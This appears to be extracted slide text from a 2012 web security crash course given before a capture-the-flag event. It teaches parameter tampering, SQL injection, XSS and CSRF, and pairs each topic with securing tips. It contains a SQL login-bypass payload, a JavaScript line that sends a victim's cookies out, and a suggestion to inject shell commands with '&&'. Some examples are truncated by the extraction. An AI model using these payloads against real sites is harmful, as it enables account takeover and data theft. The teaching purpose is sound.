TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand

Introduction

Recommended Tools  Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc.  Knowing Python helps  Very little else is needed, Backtrack Linux is useful for many automated tools

What We’re Targeting  Web Applications  Web Pages (HTML, PHP, etc.)  Databases  Goal  Steal data  Gain access to system  Bypass authentication blocks

Background

Web Servers  Web applications are really just an interface for accessing a web server  Example Web Servers:  Apache  IIS  Nginx  Self-contained servers for one application – Ruby on Rails, Django, Sinatra, node.js, etc.  Some servers like Apache resemble navigating a file system, others use RESTful routing

HTTP  HTTP is the means of communication  It is stateless  We get around this by using sessions  Sessions are stored in browser cookies  Side effect – If we steal someone’s cookies, the web server will think we are the same user

HTTP Requests  Web traffic involves a Request and a Response  GET and POST are two main request methods  GET is for an action intended to ask the server for information  POST is for an action intended to tell the server to do something  Examples: GET used for showing your profile on a web site, POST used to update your profile information

HTTP Request Parameters  Along with the URL and request method, HTTP requests can also carry parameters  GET parameters  Visible from the url:  Can be embedded easily in links  POST parameters are not visible from the URL and not easily embedded in links, however they can easily be altered

Example Scenario

Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database

Example Exchange for a Bank Site Logging In POST POST: login.php Parameters: username, password Redirect to account Auth OK UserWeb Server Database SET UP SESSION

Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database

Parameter Tampering

Tools  TamperData – Extension for Firefox  Can intercept and modify requests  Pretty powerful but can be tedious to use repeatedly  Live HTTP Headers – Extension for Firefox  Good for monitoring and replaying requests  Fast and good as long as replaying traffic works  Burp Suite  Separate program, works through proxy – browser agnostic  Can do just about everything

Example Attack POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database

Parameter Tampering  Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them.  They trust that once they send the transaction to PayPal, it will be resolved and they can send the product when the transaction is complete  PayPal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct  If we change the amount we pay to something small, neither party knows and we get the product for nothing

DEMO

Tips for Securing  Don’t trust requests by themselves!  Many frameworks will sign requests that they send to prevent tampering  Thinking that users can’t alter POST data because they can’t see it in their address bar is just weak security through obscurity

SQL Injections

Overview  SQL injection is part of a class of attacks in which we abuse poor programming to embed user- controlled data in trusted code run by the server  Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables: $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”;

Example Attack POST POST: login.php Lets look at the SQL and the attack... Redirect to account Auth OK UserWeb Server Database

Behind the Scenes for login.php  $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”;  Examine the result to see if the user is selected.  Sample normal query after input: SELECT * from users WHERE name=‘user’ AND password=‘password’  Sample attack password: ’ OR ‘1’=‘1  Resulting query: SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’  Always returns true, bypasses authentication

Other Types of Attacks  Can add INSERTS, UPDATES, etc. if multiple queries are supported  Blind SQL Injection  Needed when the results of a query are not displayed or even acknowledged  Use side channel attacks – sleep for a certain amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password  sqlmap works wonders to help automate this

DEMO

Tips for Securing  USE PREPARED STATEMENTS  Don’t plug user input into queries  Don’t escape user tainted queries  SERIOUSLY  USE PREPARED STATEMENTS  THEY’RE NOT EVEN HARD TO USE

Cross Site Scripting (XSS)

Overview  Basic idea is to exploit the trust that your browser places in the website it’s viewing  Embed malicious code in the webpage and your browser will execute it  Two Types:  Reflected – Client-side. In request parameters or URL. Requires that a user click the malicious link or form.  Stored – Server-side. Embedded in a web page and hits every visitor that views the page.

Some Goals  Steal cookies  Since JavaScript can access cookies, you can send the victim’s cookies to yourself: $.get(‘ + document.cookie);  Mimic real user behavior  Fill out and submit forms  Open IFRAMEs to maintain access  Redirect to other pages

Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database Infect Bad Guy Session

DEMO

Tips for Securing  Developers  Never, ever allow unauthorized users the ability to embed HTML into your page.  Escape every single bit of user input you get, it’s all dangerous  Users  Use NoScript or similar plugin  Don’t click a link with a bunch of JavaScript in the URL

Cross Site Request Forgery (CSRF)

Overview  Exploit the trust that the web server places in the victim’s browser  It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused  Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS

Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to=BAD GUY, Redirect to account Make changes OK User Web Server Database Bad Guy

Ways to Trigger  An image:  XSS: $.get(‘./profile.php’, function(data) { // evil });

DEMO

Tips for Securing  Only trust requests from your site  Use CSRF-protection tokens – one time tokens for forms – included in most web frameworks  Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers  Not much you can do as a user

General Tips

Look at Requests!  Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc.  Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you

Inject Everything  If you think it’s using your data in SQL, try some SQL injection  If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like &&  If you think it’s running HTML, throw in some JavaScript

Situational Awareness  Pay close attention to what kind of web server you’re dealing with  Some web servers or web frameworks are more susceptible than others to certain attacks  For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much  Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input

JavaScript – It does a lot  If you have jQuery on your website, use it!  You can issue requests and parse the results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page)  It gives you tools for shorter JavaScript payloads, especially handy when space is critical  Pretty much anything on the user’s end can be scripted and altered

Any questions?

That’s all, CTF Time!  Presented by Scott Hand (utdallas.edu/~shand)